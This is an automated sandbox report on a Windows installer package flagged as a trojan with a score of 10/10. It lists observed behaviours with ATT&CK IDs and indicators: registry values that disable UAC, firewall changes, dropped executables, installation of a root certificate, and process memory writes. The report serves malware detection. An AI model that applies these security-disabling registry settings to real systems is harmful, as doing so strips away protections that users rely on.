8811ba79350e34819cd998a11b5feb1065a305947e71c1cf735c6388a8c5f7ff

Analysis

max time kernel
213s
max time network
194s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
28-08-2023 03:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

CS-TG-64-9.msi
Size

91.0MB
MD5

4c889869706b752690025b6ee8ac95e2
SHA1

d53a19935ecdc28a7b153f2036ae0a2c5bade940
SHA256

8811ba79350e34819cd998a11b5feb1065a305947e71c1cf735c6388a8c5f7ff
SHA512

faf2c1bcbf9ed08d90092d00112ffb47f21e474c221a4725144b6ca3a3c7de727dfb8ec965651a46efc61e2ca0f93e6fabc1b004c5d1f9ecb0e47e806990007b
SSDEEP

1572864:TCKawy0JEFm4X+8fXIA98xyB2Ywy6+hKstti21u4jaY/5AL+8s234jrXiQnNO2AM:TCKRl18vF8xyBuii21u4u+RrfxATRPdc

Score

10^/10

evasion trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe

Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Processes:

netsh.exe

pid process

2624 netsh.exe
Executes dropped EXE 2 IoCs

Processes:

dac.exeConsoleProxy.exe

pid process

2460 dac.exe
1580 ConsoleProxy.exe

pid	process
2624	netsh.exe

pid	process
2460	dac.exe
1580	ConsoleProxy.exe

Loads dropped DLL 14 IoCs

Processes:

MsiExec.exeMsiExec.exemsiexec.exeConsoleProxy.exe

pid	process
2848	MsiExec.exe
2848	MsiExec.exe
2848	MsiExec.exe
2848	MsiExec.exe
2848	MsiExec.exe
1272	MsiExec.exe
1500	msiexec.exe
1176
1176
1176
1176
1500	msiexec.exe
1580	ConsoleProxy.exe
1580	ConsoleProxy.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/2460-81-0x0000000180000000-0x0000000180040000-memory.dmp	upx
behavioral1/memory/2460-83-0x0000000180000000-0x0000000180040000-memory.dmp	upx
behavioral1/memory/2460-84-0x0000000180000000-0x0000000180040000-memory.dmp	upx
behavioral1/memory/2460-86-0x0000000180000000-0x0000000180040000-memory.dmp	upx
behavioral1/memory/2460-87-0x0000000180000000-0x0000000180040000-memory.dmp	upx
behavioral1/memory/2460-91-0x0000000180000000-0x0000000180040000-memory.dmp	upx
behavioral1/memory/2460-134-0x0000000180000000-0x0000000180040000-memory.dmp	upx

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe

Drops file in System32 directory 6 IoCs

Processes:

dac.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7229E30BCFD0992128433D951137A421_F0BB2463DDCCB4B49DC9200CC9E498E9	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7229E30BCFD0992128433D951137A421_76EBFC12D6FD7EE9DD82775C12CF3BD5	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7229E30BCFD0992128433D951137A421_76EBFC12D6FD7EE9DD82775C12CF3BD5	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3FE2BD01AB6BC312BF0DADE7F797388F_F7F9B7BDCC367A8E3539D28F7D4D4BA2	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3FE2BD01AB6BC312BF0DADE7F797388F_F7F9B7BDCC367A8E3539D28F7D4D4BA2	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7229E30BCFD0992128433D951137A421_F0BB2463DDCCB4B49DC9200CC9E498E9	dac.exe

Drops file in Windows directory 10 IoCs

Processes:

DrvInst.exemsiexec.exe

description	ioc	process
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Installer\f76fbad.msi	msiexec.exe
File created	C:\Windows\Installer\f76fbae.ipi	msiexec.exe
File created	C:\Windows\Installer\f76fbb0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFFB4.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File created	C:\Windows\Installer\f76fbad.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFD24.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 64 IoCs

Processes:

DrvInst.exedac.exenetsh.exemmc.exemmc.exenetsh.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	dac.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{187F859C-81E8-4A6F-9F18-67F20ADFA5E4}\WpadDecisionReason = "1"	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Microsoft Management Console\Settings	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	dac.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	dac.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Microsoft Management Console	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{187F859C-81E8-4A6F-9F18-67F20ADFA5E4}\WpadDecision = "0"	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dac.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	dac.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	mmc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Microsoft Management Console	mmc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{187F859C-81E8-4A6F-9F18-67F20ADFA5E4}\2e-39-b6-83-4e-51	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dac.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2e-39-b6-83-4e-51	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Microsoft Management Console\Settings	mmc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dac.exe

Modifies registry class 23 IoCs

Processes:

msiexec.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\67708036E3027134CBB5C9BE30891990\3C83F799F86E9124D8D42C43EB37C3E5	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3C83F799F86E9124D8D42C43EB37C3E5	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\ProductName = "CS-TG-64"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\PackageCode = "2B2E9AE6A4679524CBD07FC20F15CD2C"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\67708036E3027134CBB5C9BE30891990	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Media\DiskPrompt = "[1]"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3C83F799F86E9124D8D42C43EB37C3E5\MainFeature	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Version = "16777216"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Language = "2052"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\PackageName = "CS-TG-64-9.msi"	msiexec.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

dac.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	dac.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	dac.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2836 PING.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

msiexec.exe

pid process

1500 msiexec.exe
1500 msiexec.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

msiexec.exe

pid process

2152 msiexec.exe
Suspicious behavior: SetClipboardViewer 2 IoCs

Processes:

mmc.exemmc.exe

pid process

868 mmc.exe
1612 mmc.exe

pid	process
2836	PING.EXE

pid	process
1500	msiexec.exe
1500	msiexec.exe

pid	process
2152	msiexec.exe

pid	process
868	mmc.exe
1612	mmc.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	2152	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2152	msiexec.exe
Token: SeRestorePrivilege	1500	msiexec.exe
Token: SeTakeOwnershipPrivilege	1500	msiexec.exe
Token: SeSecurityPrivilege	1500	msiexec.exe
Token: SeCreateTokenPrivilege	2152	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2152	msiexec.exe
Token: SeLockMemoryPrivilege	2152	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2152	msiexec.exe
Token: SeMachineAccountPrivilege	2152	msiexec.exe
Token: SeTcbPrivilege	2152	msiexec.exe
Token: SeSecurityPrivilege	2152	msiexec.exe
Token: SeTakeOwnershipPrivilege	2152	msiexec.exe
Token: SeLoadDriverPrivilege	2152	msiexec.exe
Token: SeSystemProfilePrivilege	2152	msiexec.exe
Token: SeSystemtimePrivilege	2152	msiexec.exe
Token: SeProfSingleProcessPrivilege	2152	msiexec.exe
Token: SeIncBasePriorityPrivilege	2152	msiexec.exe
Token: SeCreatePagefilePrivilege	2152	msiexec.exe
Token: SeCreatePermanentPrivilege	2152	msiexec.exe
Token: SeBackupPrivilege	2152	msiexec.exe
Token: SeRestorePrivilege	2152	msiexec.exe
Token: SeShutdownPrivilege	2152	msiexec.exe
Token: SeDebugPrivilege	2152	msiexec.exe
Token: SeAuditPrivilege	2152	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2152	msiexec.exe
Token: SeChangeNotifyPrivilege	2152	msiexec.exe
Token: SeRemoteShutdownPrivilege	2152	msiexec.exe
Token: SeUndockPrivilege	2152	msiexec.exe
Token: SeSyncAgentPrivilege	2152	msiexec.exe
Token: SeEnableDelegationPrivilege	2152	msiexec.exe
Token: SeManageVolumePrivilege	2152	msiexec.exe
Token: SeImpersonatePrivilege	2152	msiexec.exe
Token: SeCreateGlobalPrivilege	2152	msiexec.exe
Token: SeCreateTokenPrivilege	2152	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2152	msiexec.exe
Token: SeLockMemoryPrivilege	2152	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2152	msiexec.exe
Token: SeMachineAccountPrivilege	2152	msiexec.exe
Token: SeTcbPrivilege	2152	msiexec.exe
Token: SeSecurityPrivilege	2152	msiexec.exe
Token: SeTakeOwnershipPrivilege	2152	msiexec.exe
Token: SeLoadDriverPrivilege	2152	msiexec.exe
Token: SeSystemProfilePrivilege	2152	msiexec.exe
Token: SeSystemtimePrivilege	2152	msiexec.exe
Token: SeProfSingleProcessPrivilege	2152	msiexec.exe
Token: SeIncBasePriorityPrivilege	2152	msiexec.exe
Token: SeCreatePagefilePrivilege	2152	msiexec.exe
Token: SeCreatePermanentPrivilege	2152	msiexec.exe
Token: SeBackupPrivilege	2152	msiexec.exe
Token: SeRestorePrivilege	2152	msiexec.exe
Token: SeShutdownPrivilege	2152	msiexec.exe
Token: SeDebugPrivilege	2152	msiexec.exe
Token: SeAuditPrivilege	2152	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2152	msiexec.exe
Token: SeChangeNotifyPrivilege	2152	msiexec.exe
Token: SeRemoteShutdownPrivilege	2152	msiexec.exe
Token: SeUndockPrivilege	2152	msiexec.exe
Token: SeSyncAgentPrivilege	2152	msiexec.exe
Token: SeEnableDelegationPrivilege	2152	msiexec.exe
Token: SeManageVolumePrivilege	2152	msiexec.exe
Token: SeImpersonatePrivilege	2152	msiexec.exe
Token: SeCreateGlobalPrivilege	2152	msiexec.exe
Token: SeCreateTokenPrivilege	2152	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

msiexec.exe

pid process

2152 msiexec.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

dac.exemmc.exemmc.exemmc.exe

pid process

2460 dac.exe
2460 dac.exe
948 mmc.exe
948 mmc.exe
868 mmc.exe
868 mmc.exe
1612 mmc.exe
1612 mmc.exe

pid	process
2152	msiexec.exe

pid	process
2460	dac.exe
2460	dac.exe
948	mmc.exe
948	mmc.exe
868	mmc.exe
868	mmc.exe
1612	mmc.exe
1612	mmc.exe

Suspicious use of WriteProcessMemory 52 IoCs

Processes:

msiexec.exemmc.exemmc.exedac.execmd.exemmc.execmd.exeConsoleProxy.exe

description	pid	process	target process
PID 1500 wrote to memory of 2848	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 2848	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 2848	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 2848	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 2848	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 2848	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 2848	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 1272	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 1272	1500	msiexec.exe	MsiExec.exe
PID 1500 wrote to memory of 1272	1500	msiexec.exe	MsiExec.exe
